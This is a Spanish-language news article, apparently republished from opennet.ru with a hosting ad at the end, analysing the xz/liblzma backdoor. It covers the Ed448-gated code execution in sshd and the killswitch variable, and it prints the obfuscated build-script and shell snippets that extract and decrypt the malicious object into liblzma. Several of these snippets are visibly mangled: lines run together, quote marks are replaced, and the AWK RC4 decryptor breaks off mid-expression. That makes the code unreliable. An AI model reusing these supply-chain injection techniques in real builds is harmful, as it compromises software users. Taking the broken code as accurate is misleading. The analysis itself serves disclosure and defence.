Análisis de la lógica de activación y funcionamiento del backdoor en el paquete xz

Están disponibles los resultados preliminares de ingeniería inversa de un archivo objeto malicioso incorporado en liblzma como resultado de una campaña de promoción de un backdoor en el paquete xz. El backdoor afecta únicamente a sistemas x86_64 basados en el núcleo de Linux y la biblioteca C Glibc, en los que se aplica un parche adicional a sshd que vincula con la biblioteca libsystemd para soportar el mecanismo sd_notify. Inicialmente se pensaba que el backdoor permitía eludir la autenticación en sshd y acceder al sistema a través de SSH. Un análisis más detallado reveló que no es así y el backdoor permite ejecutar código arbitrario en el sistema sin dejar rastro en los logs de sshd.

En particular, la función RSA_public_decrypt interceptada por el backdoor verifica la firma del host, usando una clave fija Ed448, y en caso de verificación exitosa, ejecuta el código proporcionado por un host externo mediante la función system() en la etapa anterior al restablecimiento de privilegios del proceso sshd. Los datos que contienen el código para ejecución se extraen del parámetro “N” pasado a la función RSA_public_decrypt (el campo “n” de la estructura rsa_st, que contiene la clave pública proporcionada por el host externo), se verifican mediante un hash y se descifran usando una clave predefinida ChaCha20 en la etapa anterior a la verificación de la firma digital Ed448.

Como indicador para activar el backdoor en sshd se utiliza el mecanismo estándar de intercambio de claves de host. El backdoor se aprovecha del hecho de que los certificados OpenSSH incluyen la clave pública de la entidad que firmó y reacciona solo a la clave preparada por el atacante, que corresponde a la clave fija predefinida Ed448. Si la verificación de la firma con la clave pública no pasa o si la integridad de los datos para ejecución no se confirma, el backdoor devuelve el control a las funciones estándar de SSH.

Dado que la clave privada del atacante es desconocida, no es posible implementar un código de verificación que permita a los extraños activar el backdoor y desarrollar un escáner de hosts comprometidos en la red. Los investigadores prepararon un script que demuestra la técnica de sustitución de la clave pública con contenido arbitrario en el certificado OpenSSH transmitido por el cliente SSH, que será procesado en la función RSA_public_decrypt interceptada por el backdoor.

Los investigadores también notaron la presencia de una construcción que desactiva el bache (killswitch) en el sistema local cuando se establece la variable de entorno "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" antes de iniciar sshd.

Además, se puede destacar un análisis detallado de las construcciones de shell utilizadas para enredar el proceso de extracción del archivo objetivo con el bache y su sustitución en la biblioteca liblzma. Durante la construcción del paquete xz desde el script build-to-host.m4, se ejecutó un código que encontraba entre los archivos de prueba el archivo comprimido bad-3-corrupt_lzma2.xz, reemplazaba algunos caracteres en él, lo transformaba en un archivo no dañado y extraía desde él un script de shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2> /dev/null` … gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null' gl_path_map='tr "\t \-_" » \t_\-"'

El script de shell obtenido extraía en partes desde el contenido del archivo comprimido good-large_compressed.lzma otro script de shell, omitiendo ciertas secuencias mediante los comandos head y tail, y reemplazando caracteres con el comando tr. ####Hola#### # unos pocos bytes binarios aquí, pero como es un comentario, se ignoran [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir="..\/..\/$srcdir" fi export i="((head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Mundo####

Como resultado, se generó un script shell bastante complejo y voluminoso, que extrae directamente el archivo con el backdoor del archivo good-large_compressed.lzma, lo desencripta e incorpora en liblzma. Entre otras cosas, el script incluía la implementación de un mecanismo de plugins, que permite posteriormente suministrar componentes ejecutables adicionales mediante la colocación de nuevos archivos de prueba sin cambiar good-large_compressed.lzma y bad-3-corrupt_lzma2.xz, utilizando la búsqueda por firma. En el código también se utilizó un descifrador basado en el algoritmo RC4, implementado en AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s\/\(.\)\/\1\n\/g» | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster